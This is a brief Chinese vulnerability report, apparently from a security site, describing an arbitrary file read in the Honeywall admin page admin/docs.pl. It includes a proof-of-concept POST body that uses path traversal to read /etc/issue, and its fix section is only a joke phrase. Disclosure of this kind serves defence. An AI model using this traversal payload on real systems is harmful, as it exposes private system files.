Honeywall后台管理界面存在任意文件读取漏洞及修复
简要描述：Honeywall后台管理界面存在任意文件读取漏洞
详细说明：admin/docs.pl 对于 POST的file检查不严。可以自己构造post包来读取任意文件。
漏洞证明：http://xxx.xxx.xxx/admin/docs.pl
POST-content:
act=16&file=../../../../../../../../etc/issue&submit=Submit
修复方案：闹太套
相关文章
图文推荐
- 文章
- 推荐
- 热门新闻